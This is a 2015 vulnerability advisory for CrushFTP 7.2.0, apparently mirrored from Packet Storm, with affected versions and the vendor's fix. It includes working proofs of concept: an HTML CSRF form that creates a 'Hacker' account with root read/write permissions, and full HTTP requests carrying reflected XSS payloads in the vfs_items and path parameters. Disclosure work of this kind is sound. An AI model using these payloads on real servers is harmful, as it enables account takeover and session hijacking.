CrushFTP 7.2.0 Cross Site Request Forgery / Cross Site Scripting

🗓️ 18 Feb 2015 00:00:00Reported by Rehan AhmedType
packetstorm🔗 packetstormsecurity.com👁 22 Views
CrushFTP 7.2.0 CSRF and XSS vulnerabilities allow attacker to control user accounts, change configurations, and execute XSS attacks on default web interface. Medium severity, requires authentication. CrushFTP allows for secure file transfers with zip methods and web-based management.
`========================================================  
I. Overview  
========================================================  
Multiple CSRF & Cross-Site Scripting (XSS) vulnerabilities have been identified in  
Crushftp 7.2.0 (Web Interface) on default configuration. These vulnerabilities allows  
an attacker to gain control over valid user accounts, perform operations  
on their behalf, redirect them to malicious sites, steal their credentials,  
and more.  
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II. Severity  
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Rating: Medium  
Remote: Yes  
Authentication Require: Yes  
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III. Vendor's Description of Application  
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CrushFTP is a robust file transfer server that makes it easy to setup secure connections with your users.  
'Crush' comes from the built-in zip methods in CrushFTP. They allow for downloading files in compressed formats in-stream,   
or even automatically expanding zip files as they are received in-stream. This is called ZipStreaming and can greatly accelerate   
the transfer of many types of files.  
Secure management is web based allowing you the ability to manage and monitor the server from anywhere, or with almost any device.   
Easy in place server upgrades without complicated installers. Runs as a daemon, or Windows service with no need for a local GUI.  
CrushFTP is watching out for you by detecting common hack attempts and robots which scan for weak passwords. It will automatically   
protect you against DDoS attacks. No need for you to do anything as CrushFTP will automatically ban these IPs to prevent wasted logging and CPU usage.   
This keeps your server secure from unwanted abuse.  
User management includes inheritance, groups, and virtual file systems. If you want simple user management,   
it can be as easy as just making a folder with a specific name and nothing else.   
Think about how easily you can delegate user administration with CrushFTP's role based administration and event configuration.   
http://www.crushftp.com/index.html  
  
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IV. Vulnerability Details & Exploit  
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1) Multiple CSRF Vulnerabilities (Web Management interface - Default Config)   
  
a) An attacker may add/delete/modify user's accounts   
b) May change all configuration settings   
  
Request Method: POST  
Location: /WebInterface/fuction/  
  
Proof of Concept:-   
  
<html>  
  
<body>  
<form action="http://127.0.0.1:8080/WebInterface/function/" method="POST">  
<input type="hidden" name="command" value="setUserItem" />  
<input type="hidden" name="data&&95;action" value="new" />  
<input type="hidden" name="serverGroup" value="MainUsers" />  
<input type="hidden" name="username" value="Hacker" />  
<input type="hidden" name="user" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><user&&32;type&&61;"properties"><username>Hacker<&&47;username><password>123456<&&47;password><max&&95;logins>0<&&47;max&&95;logins><root&&95;dir>&&47;<&&47;root&&95;dir><&&47;user>" />  
<input type="hidden" name="xmlItem" value="user" />  
<input type="hidden" name="vfs&&95;items" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><vfs&&32;type&&61;"properties"><&&47;vfs>" />  
<input type="hidden" name="permissions" value="<&&63;xml&&32;version&&61;"1&&46;0"&&32;encoding&&61;"UTF&&45;8"&&63;><permissions&&32;type&&61;"properties"><item&&32;name&&61;"&&47;">&&40;read&&41;&&40;write&&41;&&40;view&&41;&&40;resume&&41;<&&47;item><&&47;permissions>" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
2) Multiple Cross-Site Scripting (Web Interface - Default Config)  
  
Type: Reflected  
Request Method: POST   
Location: /WebInterface/function/   
Parameter: vfs_items  
Values: <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD">   
vfs_items = <?xml version="XSS PAYLOAD" encoding="XSS PAYLOAD">   
  
  
Proof of Concept:  
  
POST /WebInterface/function/ HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://127.0.0.1:8080/WebInterface/UserManager/index.html  
Content-Length: 656  
Cookie: XXXXXXXXXXXXXXXXXXXXX  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
command=setUserItem&data_action=new&serverGroup=MainUsers&username=test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Etest2%3C%2Fusername%3E%3Cpassword%3Etest2%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0<a%20xmlns:a%3d'http://www.w3.org/1999/xhtml'><a:body%20onload%3d'alert(1)'/></a>%22+encoding%3D%22UTF-8%22%3F%3E%3Cvfs+type%3D%22properties%22%3E%3C%2Fvfs%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cpermissions+type%3D%22properties%22%3E%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%3C%2Fpermissions%3E  
  
  
Type: Reflected  
Request Method: GET   
Location: /WebInterface/function/   
Parameter: path  
Values: <script>alert(1)<%2fscript>  
path=%<script>alert(1)<%2fscript>  
  
  
GET /WebInterface/function/?command=getXMLListing&format=JSONOBJ&path=%<script>alert(1)<%2fscript>&random=0.3300707341372783 HTTP/1.1  
Host: 127.0.0.1:8080  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Referer: http://127.0.0.1:8080/  
Cookie: XXXXXXXXXXXXXXXXXXXXXXXX  
Connection: keep-alive  
Pragma: no-cache  
Cache-Control: no-cache  
  
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VI. Affected Systems  
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Software: Crushftp (Web Interface)  
Version: 7.2.0 Build : 147 < 7.3  
Configuration: Default  
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VII. Vendor Response/Solution  
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Vendor Contacted : 02/12/2015  
Vendor Response : 02/12/2015  
Solution : upgrade to 7.3 or change <csrf>true</csrf> in prefs.xml   
  
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VIII. Credits  
========================================================  
Discovered by Rehan Ahmed  
[email protected]   
`
18 Feb 2015 00:00Current
0.3Low risk
Vulners AI Score0.3